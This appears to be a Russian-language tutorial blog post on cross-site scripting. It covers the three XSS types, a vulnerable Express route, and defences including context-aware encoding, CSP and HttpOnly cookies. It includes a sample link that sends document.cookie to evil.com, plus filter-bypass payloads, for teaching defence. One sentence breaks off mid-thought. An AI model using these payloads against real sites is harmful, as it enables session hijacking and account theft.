Cross-Site Scripting: почему XSS всё ещё опасен в 2024
Практический разбор reflected, stored и DOM-based XSS, способы их эксплуатации и реальные методы защиты.
XSS входит в OWASP Top 10 уже два десятилетия, и это одна из первых вещей, которые проверяет пентестер. Баг просто объяснить и сложно полностью закрыть: атакующий запускает свой JavaScript в браузере жертвы под происхождением вашего сайта. Как только это происходит, он может читать cookie, подделывать запросы или просто переписать страницу перед пользователем.
Три типа
Reflected XSS — классическая атака с фишинг-ссылкой. Поисковая страница берет ?q= из URL и выводит его прямо в HTML без кодирования. Отправьте кому-нибудь ссылку вроде https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> и если они кликнут по ней в залогиненном состоянии, их сессионный cookie попадёт к атакующему.
Stored XSS опаснее, потому что не требует ссылки вообще. Поле комментария, биография профиля, описание тикета поддержки — везде, где пользовательский ввод сохраняется и позже отображается другим пользователям. Выложите payload один раз и каждый посетитель, который посмотрит эту страницу, будет скомпрометирован, без социальной инженерии.
DOM-based XSS существует полностью на клиентском коде. Сервер никогда не видит вредоносный payload; это JavaScript читает что-то вроде location.hash или document.referrer и вставляет это в innerHTML или eval(). Этот тип сбивает с толку, потому что логирование на стороне сервера выглядит полностью чистым.
Откуда это берётся на практике
Большинство XSS багов сводятся к одной ошибке: обработка недоверенных данных как доверенной разметки или кода. Типичные места в JavaScript, где нужна осторожность: innerHTML, outerHTML, document.write, eval, setTimeout со строковым аргументом и jQuery .html(). На стороне сервера шаблонизаторы, которые не экранируют по умолчанию (простая конкатенация строк в HTML), — обычный виновник.
Быстрый пример из реальной жизни: Node/Express приложение, которое делает
app.get('/greet', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
имеет немедленный reflected XSS. req.query.name идёт прямо в ответ без кодирования. Кто-то, кто откроет /greet?name=<img src=x onerror=alert(document.domain)>, докажет это за пару секунд.
Реальное решение
Контекстно-зависимое кодирование вывода — реальное решение, не костыль. HTML тело, HTML атрибут, JavaScript строка и URL контексты требуют разных правил кодирования — библиотека вроде OWASP Java Encoder или встроенное автоэкранирование в шаблонизаторах типа Jinja2, React JSX или Handlebars справляются с этим правильно. React в частности экранирует текстовое содержимое по умолчанию, вот почему dangerouslySetInnerHTML называется именно так: это предупреждающий ярлык.
Валидация входных данных помогает, но недостаточна сама по себе. Блокирование тегов <script> обходится постоянно — <img src=x onerror=...>, <svg onload=...> или обработчики событий почти на любом теге работают. Allowlist ожидаемых форматов (регулярное выражение для email, числовой ID) нормален как вторичный уровень, но не заменяет правильное кодирование вывода.
Content-Security-Policy — сильнейший слой защиты в глубину, который доступен. Политика вроде
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';
блокирует встроенные скрипты и сторонние источники скриптов, если они не явно помечены nonce или не добавлены в allowlist, что останавливает большинство XSS payload даже если они пройдут кодирование. Избегайте unsafe-inline и unsafe-eval в production CSP; они нейтрализуют большую часть защиты.
Устанавливайте cookie с флагами HttpOnly и Secure, чтобы даже успешный XSS не мог прочитать сессионный cookie напрямую через document.cookie. Это не останавливает инъекцию, но значительно ограничивает радиус поражения.
Тестирование самостоятельно
Активный сканер Burp Suite ловит много reflected и stored XSS автоматически, но ручное тестирование всё ещё важно для DOM-based случаев. Инструменты вроде собственного набора тестов DOMPurify или просто поиск по кодовой базе innerHTML = и eval( найдут удивительное количество проблем быстро. Для ручной проверки payload
Написано с помощью ИИ, проверено и опубликовано Михалом Пильхом (CISSP), Korra Studio.
Это одна заметка из базы знаний Korra Studio — платформа сочетает каждую тему с наставничеством один на один.
Начать бесплатноarrow_forward